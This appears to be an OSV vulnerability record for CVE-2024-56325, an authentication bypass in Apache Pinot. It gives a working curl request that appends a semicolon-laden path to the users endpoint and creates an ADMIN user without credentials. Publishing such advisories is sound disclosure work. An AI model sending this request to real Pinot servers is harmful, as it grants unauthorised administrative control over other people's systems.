CVE-2024-56325

Source
https://nvd.nist.gov/vuln/detail/CVE-2024-56325
Import Source
https://storage.googleapis.com/osv-test-cve-osv-conversion/osv-output/CVE-2024-56325.json
JSON Data
https://api.test.osv.dev/v1/vulns/CVE-2024-56325
Aliases
Published
2025-04-01T09:15:15Z
Modified
2025-07-16T23:50:37.443819Z
Summary
[none]
Details

Authentication Bypass Issue

If the path does not contain / and contain., authentication is not required.

Expected Normal Request and Response Example

curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hackCONTROLLER\"} http://{serverip}:9000/users

Return: {"code":401,"error":"HTTP 401 Unauthorized"}

Malicious Request and Response Example

curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .

Return: {"users":{}}

A new user gets added bypassing authentication, enabling the user to control Pinot.

References

Affected packages

Git / github.com/apache/pinot

Affected ranges

Type
GIT
Repo
https://github.com/apache/pinot
Events
Introduced
0 Unknown introduced commit / All previous commits are affected
Fixed

Affected versions

release-0.*

release-0.12.1-rc0